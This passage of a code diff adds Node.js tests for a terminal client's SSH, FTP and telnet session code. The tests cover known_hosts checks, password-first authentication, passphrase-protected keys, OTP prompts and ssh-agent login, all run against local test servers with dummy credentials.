console.error('[ws] unexpected non-confirm prompt:', payload.options)
}
},
once (handler) {
queueMicrotask(() => handler({ results: ['trust'] }))
},
close () {}
}
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
sshAgent: agent.env.SSH_AUTH_SOCK,
useSshAgent: true,
enableSsh: false,
readyTimeout: 10000,
debug: true
}, ws)
assert.ok(term, 'session should resolve after trusting the host key')
assert.equal(
confirmCount,
1,
'exactly one host-key confirmation prompt should appear for a new host'
)
// Verify the host was saved to known_hosts
const knownHostsPath = path.join(process.env.HOME, '.ssh', 'known_hosts')
const knownHostsContent = fs.readFileSync(knownHostsPath, 'utf8')
assert.match(
knownHostsContent,
/127\.0\.0\.1/,
'server should be recorded in known_hosts after trusting'
)
} finally {
term?.kill()
await server.close()
agent.kill()
}
}
)
})
@@ -0,0 +1,183 @@
const assert = require('node:assert/strict')
const { describe, test } = require('node:test')
const crypto = require('crypto')
const fs = require('fs')
const os = require('os')
const { join } = require('path')
const { generateKeyPairSync } = require('@electerm/ssh2/lib/keygen.js')
const {
appendKnownHost,
buildHostMismatchPrompt,
checkKnownHosts,
getHostKeyMeta,
matchesKnownHostField,
removeKnownHost,
replaceKnownHost
} = require('../../src/app/server/ssh-known-hosts')
function createHostKey (label) {
const pair = generateKeyPairSync('ed25519')
const publicKey = `${pair.public} ${label}`.trim()
return Buffer.from(publicKey.split(/\s+/)[1], 'base64')
}
describe('ssh known_hosts verification', () => {
test('matches hashed host entries', () => {
const salt = crypto.randomBytes(20)
const host = 'example.test'
const digest = crypto.createHmac('sha1', salt).update(host).digest('base64')
const token = `|1|${salt.toString('base64')}|${digest}`
assert.equal(matchesKnownHostField(token, host, 22), true)
assert.equal(matchesKnownHostField(token, 'other.test', 22), false)
})
test('treats same-type key changes as mismatches', async () => {
const tempDir = await fs.promises.mkdtemp(join(os.tmpdir(), 'electerm-known-hosts-'))
try {
const knownHostsPath = join(tempDir, 'known_hosts')
const originalKey = createHostKey('original')
const changedKey = createHostKey('changed')
await appendKnownHost({
host: 'example.test',
port: 22,
hostKey: originalKey,
knownHostsPath
})
const result = await checkKnownHosts({
host: 'example.test',
port: 22,
hostKey: changedKey,
knownHostsPath
})
assert.equal(result.status, 'mismatch')
} finally {
await fs.promises.rm(tempDir, { recursive: true, force: true })
}
})
test('writes and re-reads a non-default port entry', async () => {
const tempDir = await fs.promises.mkdtemp(join(os.tmpdir(), 'electerm-known-hosts-'))
try {
const knownHostsPath = join(tempDir, 'known_hosts')
const hostKey = createHostKey('port-2222')
const meta = getHostKeyMeta(hostKey)
await appendKnownHost({
host: '127.0.0.1',
port: 2222,
hostKey,
knownHostsPath
})
const content = await fs.promises.readFile(knownHostsPath, 'utf8')
assert.match(content, /^\[127\.0\.0\.1\]:2222 ssh-ed25519 /)
const result = await checkKnownHosts({
host: '127.0.0.1',
port: 2222,
hostKey,
knownHostsPath
})
assert.equal(result.status, 'match')
assert.equal(result.meta.sha256, meta.sha256)
} finally {
await fs.promises.rm(tempDir, { recursive: true, force: true })
}
})
test('removeKnownHost removes matching entry', async () => {
const tempDir = await fs.promises.mkdtemp(join(os.tmpdir(), 'electerm-known-hosts-'))
try {
const knownHostsPath = join(tempDir, 'known_hosts')
const key1 = createHostKey('host1')
const key2 = createHostKey('host2')
await appendKnownHost({
host: 'host1.test',
port: 22,
hostKey: key1,
knownHostsPath
})
await appendKnownHost({
host: 'host2.test',
port: 22,
hostKey: key2,
knownHostsPath
})
await removeKnownHost({
host: 'host1.test',
port: 22,
keyType: 'ssh-ed25519',
knownHostsPath
})
const result1 = await checkKnownHosts({
host: 'host1.test',
port: 22,
hostKey: key1,
knownHostsPath
})
assert.equal(result1.status, 'not-found')
const result2 = await checkKnownHosts({
host: 'host2.test',
port: 22,
hostKey: key2,
knownHostsPath
})
assert.equal(result2.status, 'match')
} finally {
await fs.promises.rm(tempDir, { recursive: true, force: true })
}
})
test('replaceKnownHost updates a changed key', async () => {
const tempDir = await fs.promises.mkdtemp(join(os.tmpdir(), 'electerm-known-hosts-'))
try {
const knownHostsPath = join(tempDir, 'known_hosts')
const originalKey = createHostKey('original')
const newKey = createHostKey('new')
await appendKnownHost({
host: 'router.test',
port: 22,
hostKey: originalKey,
knownHostsPath
})
await replaceKnownHost({
host: 'router.test',
port: 22,
hostKey: newKey,
knownHostsPath
})
const oldResult = await checkKnownHosts({
host: 'router.test',
port: 22,
hostKey: originalKey,
knownHostsPath
})
assert.equal(oldResult.status, 'mismatch')
const newResult = await checkKnownHosts({
host: 'router.test',
port: 22,
hostKey: newKey,
knownHostsPath
})
assert.equal(newResult.status, 'match')
} finally {
await fs.promises.rm(tempDir, { recursive: true, force: true })
}
})
test('buildHostMismatchPrompt returns a confirm prompt with warning', () => {
const meta = {
keyType: 'ssh-ed25519',
sha256: 'AAABBBCCC123'
}
const prompt = buildHostMismatchPrompt({
host: 'router.test',
port: 22,
meta,
knownHostsPath: '/home/user/.ssh/known_hosts'
})
assert.equal(prompt.mode, 'confirm')
assert.equal(prompt.submitText, 'Update Key')
assert.equal(prompt.cancelText, 'Reject')
assert.ok(prompt.instructions.some(i => i.includes('WARNING')))
assert.ok(prompt.instructions.some(i => i.includes('router.test')))
})
})
@@ -0,0 +1,462 @@
/**
* Test: when password is provided, password auth should be tried first
* before publickey/agent, even if ~/.ssh has keys available.
*/
process.env.NODE_ENV = 'development'
const { describe, test, beforeEach, afterEach } = require('node:test')
const assert = require('node:assert/strict')
const fs = require('node:fs')
const os = require('node:os')
const path = require('node:path')
const { once } = require('node:events')
const { spawnSync } = require('node:child_process')
const { Server, utils } = require('@electerm/ssh2')
const { session } = require('../../src/app/server/session-ssh')
const USERNAME = 'tester'
const PASSWORD = 'electerm-test-password'
const HOST_KEY = utils.generateKeyPairSync('ed25519', {
comment: 'electerm-test-host'
})
function parseKey (key, passphrase) {
let parsed = utils.parseKey(key, passphrase)
if (Array.isArray(parsed)) {
parsed = parsed[0]
}
if (parsed instanceof Error) {
throw parsed
}
return parsed
}
function matchesPublicKey (ctx, publicKey) {
return Buffer.compare(
parseKey(publicKey).getPublicSSH(),
ctx.key.data
) === 0
}
function makeTmpDir () {
return fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-ssh-test-'))
}
function setEnvVar (name, value) {
if (value === undefined) {
delete process.env[name]
} else {
process.env[name] = value
}
}
function runCommand (command, args, options = {}) {
const result = spawnSync(command, args, {
encoding: 'utf8',
...options
})
if (result.error) {
throw result.error
}
if (result.status !== 0) {
throw new Error(`${command} ${args.join(' ')} failed: ${result.stderr || result.stdout}`)
}
return result.stdout
}
function generateClientKey ({ dir, name, type, passphrase, bits }) {
const keyPath = path.join(dir, name)
const args = ['-q', '-t', type]
if (bits) {
args.push('-b', String(bits))
}
args.push(
'-N',
passphrase || '',
'-f',
keyPath,
'-C',
`electerm-${name}`
)
runCommand('ssh-keygen', args)
return {
keyPath,
privateKey: fs.readFileSync(keyPath, 'utf8'),
publicKey: fs.readFileSync(`${keyPath}.pub`, 'utf8')
}
}
/**
* Start an SSH server that tracks which auth methods are attempted.
* @param {string} publicKey - The public key to accept for publickey auth
* @returns {{ port: number, authAttempts: string[], close: () => Promise<void> }}
*/
async function startTrackingServer (publicKey) {
const clients = new Set()
const authAttempts = []
const server = new Server({
hostKeys: [HOST_KEY.private]
}, (client) => {
clients.add(client)
const cleanup = () => clients.delete(client)
client.on('close', cleanup)
client.on('end', cleanup)
client.on('authentication', (ctx) => {
authAttempts.push(ctx.method)
if (ctx.method === 'none') {
return ctx.reject(['publickey', 'password'])
}
// Accept password auth
if (ctx.method === 'password' && ctx.username === USERNAME && ctx.password === PASSWORD) {
return ctx.accept()
}
// Accept publickey auth
if (ctx.method === 'publickey' && ctx.username === USERNAME && matchesPublicKey(ctx, publicKey)) {
return ctx.accept()
}
ctx.reject(['publickey', 'password'])
})
client.on('ready', () => {
client.on('session', (accept) => {
const sshSession = accept()
sshSession.on('env', (accept) => accept())
sshSession.on('pty', (accept) => accept())
sshSession.on('shell', (accept) => {
const stream = accept()
stream.write('electerm ready\n')
})
})
})
})
server.listen(0, '127.0.0.1')
await once(server, 'listening')
return {
port: server.address().port,
authAttempts,
async close () {
for (const client of clients) {
client.end()
}
await new Promise((resolve, reject) => {
server.close((err) => {
if (err) {
reject(err)
} else {
resolve()
}
})
})
}
}
}
function createPromptWs () {
return {
prompts: [],
s (payload) {},
once (handler) {
queueMicrotask(() => {
handler({ results: ['trust'] })
})
},
close () {}
}
}
describe('session-ssh password-first auth', () => {
let tmpDir
let oldEnv
beforeEach(() => {
tmpDir = makeTmpDir()
oldEnv = {
HOME: process.env.HOME,
USERPROFILE: process.env.USERPROFILE,
SSH_AUTH_SOCK: process.env.SSH_AUTH_SOCK,
SSH_AGENT_PID: process.env.SSH_AGENT_PID,
sshKeysPath: process.env.sshKeysPath
}
const homeDir = path.join(tmpDir, 'home')
const sshKeysDir = path.join(tmpDir, 'ssh-keys')
fs.mkdirSync(homeDir, { recursive: true })
fs.mkdirSync(sshKeysDir, { recursive: true })
setEnvVar('HOME', homeDir)
setEnvVar('USERPROFILE', homeDir)
setEnvVar('SSH_AUTH_SOCK', undefined)
setEnvVar('SSH_AGENT_PID', undefined)
setEnvVar('sshKeysPath', sshKeysDir)
})
afterEach(() => {
setEnvVar('HOME', oldEnv.HOME)
setEnvVar('USERPROFILE', oldEnv.USERPROFILE)
setEnvVar('SSH_AUTH_SOCK', oldEnv.SSH_AUTH_SOCK)
setEnvVar('SSH_AGENT_PID', oldEnv.SSH_AGENT_PID)
setEnvVar('sshKeysPath', oldEnv.sshKeysPath)
fs.rmSync(tmpDir, { recursive: true, force: true })
})
test('when password is provided, password auth is tried before publickey from ~/.ssh keys', async () => {
// Generate a key pair and put it in the sshKeysPath (simulating ~/.ssh)
const keyPair = generateClientKey({
dir: tmpDir,
name: 'id_ed25519',
type: 'ed25519',
passphrase: ''
})
// Copy public key to sshKeysDir so getSSHKeys() finds it
const sshKeysDir = path.join(tmpDir, 'ssh-keys')
fs.copyFileSync(keyPair.keyPath, path.join(sshKeysDir, 'id_ed25519'))
fs.copyFileSync(`${keyPair.keyPath}.pub`, path.join(sshKeysDir, 'id_ed25519.pub'))
// Start server that accepts both password and publickey
const server = await startTrackingServer(keyPair.publicKey)
const ws = createPromptWs()
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
password: PASSWORD,
useSshAgent: false,
enableSsh: false,
readyTimeout: 5000
}, ws)
// Verify the connection succeeded
assert.ok(term, 'session should be created')
// The key assertion: password should be the first real auth attempt
// (after 'none' which is always first)
const authMethods = server.authAttempts
const firstRealAuth = authMethods.find(m => m !== 'none')
assert.equal(firstRealAuth, 'password',
`Expected password to be tried first, but auth attempts were: ${JSON.stringify(authMethods)}`)
// Password should appear before any publickey attempt
const passwordIndex = authMethods.indexOf('password')
const publickeyIndex = authMethods.indexOf('publickey')
if (publickeyIndex !== -1) {
assert.ok(passwordIndex < publickeyIndex,
`password (index ${passwordIndex}) should be tried before publickey (index ${publickeyIndex}), auth attempts: ${JSON.stringify(authMethods)}`)
}
} finally {
if (term) {
term.kill()
}
await server.close()
}
})
test('when password is provided with agent available, password is still tried first', async () => {
// Generate a key pair and put it in sshKeysPath
const keyPair = generateClientKey({
dir: tmpDir,
name: 'id_rsa',
type: 'rsa',
bits: 2048,
passphrase: ''
})
const sshKeysDir = path.join(tmpDir, 'ssh-keys')
fs.copyFileSync(keyPair.keyPath, path.join(sshKeysDir, 'id_rsa'))
fs.copyFileSync(`${keyPair.keyPath}.pub`, path.join(sshKeysDir, 'id_rsa.pub'))
// Start server that accepts both password and publickey
const server = await startTrackingServer(keyPair.publicKey)
const ws = createPromptWs()
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
password: PASSWORD,
// Don't disable agent - let it be set naturally
// useSshAgent defaults to checking SSH_AUTH_SOCK
enableSsh: false,
readyTimeout: 5000
}, ws)
assert.ok(term, 'session should be created')
const authMethods = server.authAttempts
const firstRealAuth = authMethods.find(m => m !== 'none')
assert.equal(firstRealAuth, 'password',
`Expected password to be tried first, but auth attempts were: ${JSON.stringify(authMethods)}`)
} finally {
if (term) {
term.kill()
}
await server.close()
}
})
test('when only password is provided (no keys in ~/.ssh), password auth works', async () => {
// No keys in sshKeysDir - only password available
const server = await startTrackingServer(null)
const ws = createPromptWs()
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
password: PASSWORD,
useSshAgent: false,
enableSsh: false,
readyTimeout: 5000
}, ws)
assert.ok(term, 'session should be created')
const authMethods = server.authAttempts
assert.ok(authMethods.includes('password'),
`password auth should have been attempted, auth attempts: ${JSON.stringify(authMethods)}`)
} finally {
if (term) {
term.kill()
}
await server.close()
}
})
test('with isMFA and password provided, ~/.ssh keys are NOT loaded (no passphrase dialog)', async () => {
// Generate a key with passphrase - simulating ~/.ssh key that would trigger passphrase dialog
const keyPair = generateClientKey({
dir: tmpDir,
name: 'id_ed25519_passphrase',
type: 'ed25519',
passphrase: 'key-passphrase'
})
// Copy key to sshKeysDir so getSSHKeys() would find it
const sshKeysDir = path.join(tmpDir, 'ssh-keys')
fs.copyFileSync(keyPair.keyPath, path.join(sshKeysDir, 'id_ed25519_passphrase'))
fs.copyFileSync(`${keyPair.keyPath}.pub`, path.join(sshKeysDir, 'id_ed25519_passphrase.pub'))
// Server only accepts password (simulating bastion host)
const authAttempts = []
const clients = new Set()
const server = new Server({
hostKeys: [HOST_KEY.private]
}, (client) => {
clients.add(client)
client.on('close', () => clients.delete(client))
client.on('end', () => clients.delete(client))
client.on('authentication', (ctx) => {
authAttempts.push(ctx.method)
if (ctx.method === 'none') {
return ctx.reject(['keyboard-interactive', 'password'])
}
if (ctx.method === 'password' && ctx.username === USERNAME && ctx.password === PASSWORD) {
return ctx.accept()
}
if (ctx.method === 'keyboard-interactive' && ctx.username === USERNAME) {
return ctx.prompt(
[{ prompt: 'Password:', echo: false }],
'instructions',
'lang',
(responses) => {
if (responses[0] === PASSWORD) {
ctx.accept()
} else {
ctx.reject(['keyboard-interactive', 'password'])
}
}
)
}
ctx.reject(['keyboard-interactive', 'password'])
})
client.on('ready', () => {
client.on('session', (accept) => {
const sshSession = accept()
sshSession.on('env', (accept) => accept())
sshSession.on('pty', (accept) => accept())
sshSession.on('shell', (accept) => {
const stream = accept()
stream.write('electerm ready\n')
})
})
})
})
server.listen(0, '127.0.0.1')
await once(server, 'listening')
const port = server.address().port
// Track if any passphrase prompt appears
let passphrasePrompted = false
const ws = {
prompts: [],
s (payload) {
if (payload && payload.action === 'session-interactive') {
this.prompts.push(payload.options)
// Check if this is a passphrase prompt
if (payload.options?.prompts?.[0]?.prompt?.toLowerCase().includes('passphrase') ||
payload.options?.name?.toLowerCase().includes('passphase')) {
passphrasePrompted = true
}
}
},
once (handler) {
queueMicrotask(() => {
handler({ results: ['trust'] })
})
},
close () {}
}
let term
try {
term = await session({
host: '127.0.0.1',
port,
username: USERNAME,
password: PASSWORD,
isMFA: true,
useSshAgent: false,
enableSsh: false,
readyTimeout: 5000
}, ws)
assert.ok(term, 'session should be created')
assert.equal(passphrasePrompted, false,
'Should NOT prompt for key passphrase when password is provided in bookmark')
// Verify password or keyboard-interactive was used, NOT publickey
const hasPublickey = authAttempts.includes('publickey')
assert.equal(hasPublickey, false,
`publickey auth should NOT be attempted when password is provided, auth attempts: ${JSON.stringify(authAttempts)}`)
} finally {
if (term) {
term.kill()
}
for (const client of clients) {
client.end()
}
await new Promise((resolve) => server.close(resolve))
}
})
})
+580
View File
@@ -0,0 +1,580 @@
process.env.NODE_ENV = 'development'
const { describe, test, beforeEach, afterEach } = require('node:test')
const assert = require('node:assert/strict')
const fs = require('node:fs')
const os = require('node:os')
const path = require('node:path')
const { once } = require('node:events')
const { spawnSync } = require('node:child_process')
const { setTimeout: delay } = require('node:timers/promises')
const { Server, utils } = require('@electerm/ssh2')
const { session } = require('../../src/app/server/session-ssh')
const USERNAME = 'tester'
const PASSWORD = 'electerm-test'
const OTP = '123456'
const PASSPHRASE = 'electerm-passphrase'
const HOST_KEY = utils.generateKeyPairSync('ed25519', {
comment: 'electerm-test-host'
})
function parseKey (key, passphrase) {
let parsed = utils.parseKey(key, passphrase)
if (Array.isArray(parsed)) {
parsed = parsed[0]
}
if (parsed instanceof Error) {
throw parsed
}
return parsed
}
function matchesPublicKey (ctx, publicKey) {
return Buffer.compare(
parseKey(publicKey).getPublicSSH(),
ctx.key.data
) === 0
}
function makeTmpDir () {
return fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-ssh-test-'))
}
function setEnvVar (name, value) {
if (value === undefined) {
delete process.env[name]
} else {
process.env[name] = value
}
}
function runCommand (command, args, options = {}) {
const result = spawnSync(command, args, {
encoding: 'utf8',
...options
})
if (result.error) {
throw result.error
}
if (result.status !== 0) {
throw new Error(`${command} ${args.join(' ')} failed: ${result.stderr || result.stdout}`)
}
return result.stdout
}
function generateClientKey ({ dir, name, type, passphrase, bits }) {
const keyPath = path.join(dir, name)
const args = ['-q', '-t', type]
if (bits) {
args.push('-b', String(bits))
}
args.push(
'-N',
passphrase || '',
'-f',
keyPath,
'-C',
`electerm-${name}`
)
runCommand('ssh-keygen', args)
return {
keyPath,
privateKey: fs.readFileSync(keyPath, 'utf8'),
publicKey: fs.readFileSync(`${keyPath}.pub`, 'utf8')
}
}
async function startServer (authHandler) {
const clients = new Set()
const server = new Server({
hostKeys: [HOST_KEY.private]
}, (client) => {
clients.add(client)
const cleanup = () => clients.delete(client)
client.on('close', cleanup)
client.on('end', cleanup)
client.on('authentication', (ctx) => {
authHandler(ctx)
})
client.on('ready', () => {
client.on('session', (accept) => {
const sshSession = accept()
sshSession.on('env', (accept) => accept())
sshSession.on('pty', (accept) => accept())
sshSession.on('shell', (accept) => {
const stream = accept()
stream.write('electerm ready\n')
})
})
})
})
server.listen(0, '127.0.0.1')
await once(server, 'listening')
return {
port: server.address().port,
async close () {
for (const client of clients) {
client.end()
}
await new Promise((resolve, reject) => {
server.close((err) => {
if (err) {
reject(err)
} else {
resolve()
}
})
})
}
}
}
function createPromptWs (promptResponder, options = {}) {
const {
includeConfirmPrompts = false,
defaultConfirmResponse = ['trust']
} = options
const prompts = []
let pendingOptions
return {
prompts,
s (payload) {
if (payload && payload.action === 'session-interactive') {
pendingOptions = payload.options
if (includeConfirmPrompts || payload.options?.mode !== 'confirm') {
prompts.push(payload.options)
}
}
},
once (handler) {
const currentOptions = pendingOptions
queueMicrotask(() => {
handler({
results: currentOptions?.mode === 'confirm' && !includeConfirmPrompts
? defaultConfirmResponse
: promptResponder(currentOptions, prompts)
})
})
},
close () {}
}
}
function publicKeyOnlyAuth (publicKey) {
return (ctx) => {
if (ctx.method === 'none') {
return ctx.reject(['publickey'])
}
if (ctx.method === 'publickey' && ctx.username === USERNAME && matchesPublicKey(ctx, publicKey)) {
return ctx.accept()
}
return ctx.reject(['publickey'])
}
}
function sameRoundKeyboardInteractiveAuth () {
return (ctx) => {
if (ctx.method === 'none') {
return ctx.reject(['keyboard-interactive'])
}
if (ctx.method === 'keyboard-interactive' && ctx.username === USERNAME) {
return ctx.prompt([
{ prompt: 'Password:', echo: false },
{ prompt: 'Verification code:', echo: false }
], 'electerm-test', 'same-round otp', (responses) => {
if (responses[0] === PASSWORD && responses[1] === OTP) {
ctx.accept()
} else {
ctx.reject(['keyboard-interactive'])
}
})
}
return ctx.reject(['keyboard-interactive'])
}
}
function splitRoundKeyboardInteractiveAuth (rounds = []) {
return (ctx) => {
if (ctx.method === 'none') {
return ctx.reject(['keyboard-interactive'])
}
if (ctx.method === 'keyboard-interactive' && ctx.username === USERNAME) {
rounds.push('otp')
return ctx.prompt([
{ prompt: 'Verification code:', echo: false }
], 'electerm-test', 'otp round', (otpResponses) => {
if (otpResponses[0] !== OTP) {
return ctx.reject(['keyboard-interactive'])
}
rounds.push('password')
ctx.prompt([
{ prompt: 'Password:', echo: false }
], 'electerm-test', 'password round', (passwordResponses) => {
if (passwordResponses[0] === PASSWORD) {
ctx.accept()
} else {
ctx.reject(['keyboard-interactive'])
}
})
})
}
return ctx.reject(['keyboard-interactive'])
}
}
function startAgent () {
const socketPath = path.join(os.tmpdir(), `ea-${process.pid}-${Date.now()}.sock`)
const output = runCommand('ssh-agent', ['-a', socketPath, '-s'])
const sock = output.match(/SSH_AUTH_SOCK=([^;]+)/)
const pid = output.match(/SSH_AGENT_PID=([^;]+)/)
if (!sock || !pid) {
throw new Error(`Unable to parse ssh-agent output: ${output}`)
}
const env = {
...process.env,
SSH_AUTH_SOCK: sock[1],
SSH_AGENT_PID: pid[1]
}
return {
env,
kill () {
runCommand('ssh-agent', ['-k'], { env })
}
}
}
describe('session-ssh auth flows', () => {
let tmpDir
let oldEnv
beforeEach(() => {
tmpDir = makeTmpDir()
oldEnv = {
HOME: process.env.HOME,
USERPROFILE: process.env.USERPROFILE,
SSH_AUTH_SOCK: process.env.SSH_AUTH_SOCK,
SSH_AGENT_PID: process.env.SSH_AGENT_PID,
sshKeysPath: process.env.sshKeysPath
}
const homeDir = path.join(tmpDir, 'home')
const sshKeysDir = path.join(tmpDir, 'ssh-keys')
fs.mkdirSync(homeDir, { recursive: true })
fs.mkdirSync(sshKeysDir, { recursive: true })
setEnvVar('HOME', homeDir)
setEnvVar('USERPROFILE', homeDir)
setEnvVar('SSH_AUTH_SOCK', undefined)
setEnvVar('SSH_AGENT_PID', undefined)
setEnvVar('sshKeysPath', sshKeysDir)
})
afterEach(() => {
setEnvVar('HOME', oldEnv.HOME)
setEnvVar('USERPROFILE', oldEnv.USERPROFILE)
setEnvVar('SSH_AUTH_SOCK', oldEnv.SSH_AUTH_SOCK)
setEnvVar('SSH_AGENT_PID', oldEnv.SSH_AGENT_PID)
setEnvVar('sshKeysPath', oldEnv.sshKeysPath)
fs.rmSync(tmpDir, { recursive: true, force: true })
})
test('connects with an rsa key protected by a passphrase', async () => {
const keyPair = generateClientKey({
dir: tmpDir,
name: 'rsa-passphrase',
type: 'rsa',
bits: 2048,
passphrase: PASSPHRASE
})
const server = await startServer(publicKeyOnlyAuth(keyPair.publicKey))
const ws = createPromptWs(() => {
throw new Error('explicit passphrase login should not prompt')
})
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
privateKey: keyPair.privateKey,
passphrase: PASSPHRASE,
useSshAgent: false,
enableSsh: false,
readyTimeout: 5000
}, ws)
assert.equal(ws.prompts.length, 0)
} finally {
term && term.kill()
await server.close()
}
})
test('connects with an ed25519 key protected by a passphrase', async () => {
const keyPair = generateClientKey({
dir: tmpDir,
name: 'ed25519-passphrase',
type: 'ed25519',
passphrase: PASSPHRASE
})
const server = await startServer(publicKeyOnlyAuth(keyPair.publicKey))
const ws = createPromptWs(() => {
throw new Error('explicit passphrase login should not prompt')
})
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
privateKey: keyPair.privateKey,
passphrase: PASSPHRASE,
useSshAgent: false,
enableSsh: false,
readyTimeout: 5000
}, ws)
assert.equal(ws.prompts.length, 0)
} finally {
term && term.kill()
await server.close()
}
})
test('handles password and otp in the same keyboard-interactive round', async () => {
const server = await startServer(sameRoundKeyboardInteractiveAuth())
const ws = createPromptWs((options) => {
assert.equal(options.prompts.length, 2)
return [PASSWORD, OTP]
})
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
password: PASSWORD,
useSshAgent: false,
enableSsh: false,
readyTimeout: 5000
}, ws)
assert.equal(ws.prompts.length, 1)
assert.match(ws.prompts[0].prompts[1].prompt, /verification code/i)
} finally {
term && term.kill()
await server.close()
}
})
test('handles otp then password across separate keyboard-interactive rounds', async () => {
const rounds = []
const server = await startServer(splitRoundKeyboardInteractiveAuth(rounds))
const ws = createPromptWs((options, prompts) => {
if (prompts.length === 1) {
assert.match(options.prompts[0].prompt, /verification code/i)
return [OTP]
}
assert.match(options.prompts[0].prompt, /password/i)
return [PASSWORD]
})
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
password: PASSWORD,
useSshAgent: false,
enableSsh: false,
readyTimeout: 5000
}, ws)
assert.deepEqual(rounds, ['otp', 'otp', 'password'])
assert.equal(ws.prompts.length, 1)
assert.match(ws.prompts[0].prompts[0].prompt, /verification code/i)
} finally {
term && term.kill()
await server.close()
}
})
test('connects with ssh agent only and leaves user keys untouched', async (t) => {
let agent
try {
agent = startAgent()
} catch (error) {
if (error.code === 'ENOENT') {
t.skip('ssh-agent is not available in this environment')
}
throw error
}
const keyPair = generateClientKey({
dir: tmpDir,
name: 'agent-ed25519',
type: 'ed25519',
passphrase: ''
})
try {
runCommand('ssh-add', [keyPair.keyPath], { env: agent.env })
setEnvVar('SSH_AUTH_SOCK', agent.env.SSH_AUTH_SOCK)
setEnvVar('SSH_AGENT_PID', agent.env.SSH_AGENT_PID)
const server = await startServer(publicKeyOnlyAuth(keyPair.publicKey))
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
sshAgent: agent.env.SSH_AUTH_SOCK,
useSshAgent: true,
enableSsh: false,
readyTimeout: 5000
}, createPromptWs(() => {
throw new Error('ssh-agent login should not prompt')
}))
} finally {
term && term.kill()
await server.close()
}
} finally {
if (agent) {
agent.kill()
}
}
})
test('prompts for an unknown host key once and records it in known_hosts', async () => {
const keyPair = generateClientKey({
dir: tmpDir,
name: 'host-verify-ed25519',
type: 'ed25519',
passphrase: ''
})
const server = await startServer(publicKeyOnlyAuth(keyPair.publicKey))
const knownHostsPath = path.join(process.env.HOME, '.ssh', 'known_hosts')
let term
let firstPromptCount = 0
try {
const ws = createPromptWs((options, prompts) => {
firstPromptCount = prompts.length
assert.equal(options.mode, 'confirm')
assert.match(options.name, /trust ssh host key/i)
assert.match(options.instructions.join('\n'), /Fingerprint: SHA256:/)
return ['trust']
}, {
includeConfirmPrompts: true
})
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
privateKey: keyPair.privateKey,
useSshAgent: false,
enableSsh: false,
readyTimeout: 5000
}, ws)
assert.equal(firstPromptCount, 1)
assert.match(fs.readFileSync(knownHostsPath, 'utf8'), /^\[127\.0\.0\.1\]:\d+ ssh-ed25519 /)
term.kill()
term = null
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
privateKey: keyPair.privateKey,
useSshAgent: false,
enableSsh: false,
readyTimeout: 5000
}, createPromptWs(() => {
throw new Error('known_hosts match should not prompt again')
}))
} finally {
term && term.kill()
await server.close()
}
})
test('waits for host trust confirmation before resolving the session', async () => {
const keyPair = generateClientKey({
dir: tmpDir,
name: 'host-verify-blocking-ed25519',
type: 'ed25519',
passphrase: ''
})
const server = await startServer(publicKeyOnlyAuth(keyPair.publicKey))
let term
let pendingHandler
let sessionResolved = false
let promptSeenResolve
const promptSeen = new Promise(resolve => {
promptSeenResolve = resolve
})
const ws = {
prompts: [],
s (payload) {
if (payload && payload.action === 'session-interactive') {
this.prompts.push(payload.options)
promptSeenResolve(payload.options)
}
},
once (handler) {
pendingHandler = handler
},
close () {}
}
try {
const sessionPromise = session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
privateKey: keyPair.privateKey,
useSshAgent: false,
enableSsh: false,
readyTimeout: 5000
}, ws).then(result => {
sessionResolved = true
return result
})
const promptOptions = await promptSeen
assert.equal(promptOptions.mode, 'confirm')
await delay(50)
assert.equal(sessionResolved, false)
assert.equal(typeof pendingHandler, 'function')
pendingHandler({
results: ['trust']
})
term = await sessionPromise
} finally {
term && term.kill()
await server.close()
}
})
})
+381
View File
@@ -0,0 +1,381 @@
process.env.NODE_ENV = 'development'
const { describe, test, beforeEach, afterEach } = require('node:test')
const assert = require('node:assert/strict')
const fs = require('node:fs')
const os = require('node:os')
const path = require('node:path')
const net = require('node:net')
const { once } = require('node:events')
const findFreePort = require('find-free-port')
const FtpSrv = require('@electerm/ftp-srv')
const serialportModulePath = require.resolve('serialport')
const serialportExports = require(serialportModulePath)
const { MockBinding } = require('@serialport/binding-mock')
const globalState = require('../../src/app/server/global-state')
const { Ftp } = require('../../src/app/server/session-ftp')
const sessionSerial = require('../../src/app/server/session-serial')
const sessionTelnet = require('../../src/app/server/session-telnet')
const FTP_USERNAME = 'test'
const FTP_PASSWORD = 'test123'
const SERIAL_PATH = '/dev/electerm-test'
const TELNET_USERNAME = 'tester'
const TELNET_PASSWORD = 'electerm-test'
function makeTmpDir (prefix) {
return fs.mkdtempSync(path.join(os.tmpdir(), prefix))
}
async function getFreePort (start = 30000, end = 39999) {
const [port] = await findFreePort(start, end, '127.0.0.1')
return port
}
async function startFtpServer () {
const root = makeTmpDir('electerm-ftp-test-')
const port = await getFreePort(31000, 31999)
const server = new FtpSrv({
url: `ftp://127.0.0.1:${port}`,
anonymous: false,
root
})
server.on('login', ({ username, password }, resolve, reject) => {
if (username === FTP_USERNAME && password === FTP_PASSWORD) {
return resolve({ root })
}
return reject(new Error('Invalid username or password'))
})
await server.listen()
return {
port,
root,
async close () {
await server.close()
fs.rmSync(root, { recursive: true, force: true })
}
}
}
async function startTelnetServer () {
const port = await getFreePort(32000, 32999)
const sockets = new Set()
function waitForIdle (timeout = 5000) {
if (sockets.size === 0) {
return Promise.resolve()
}
return new Promise((resolve, reject) => {
const timer = setTimeout(() => {
reject(new Error('Timed out waiting for telnet sockets to close'))
}, timeout)
const interval = setInterval(() => {
if (sockets.size === 0) {
clearTimeout(timer)
clearInterval(interval)
resolve()
}
}, 25)
})
}
const server = net.createServer((socket) => {
sockets.add(socket)
socket.setEncoding('utf8')
let stage = 'username'
let buffer = ''
socket.write('login: ')
socket.on('data', (chunk) => {
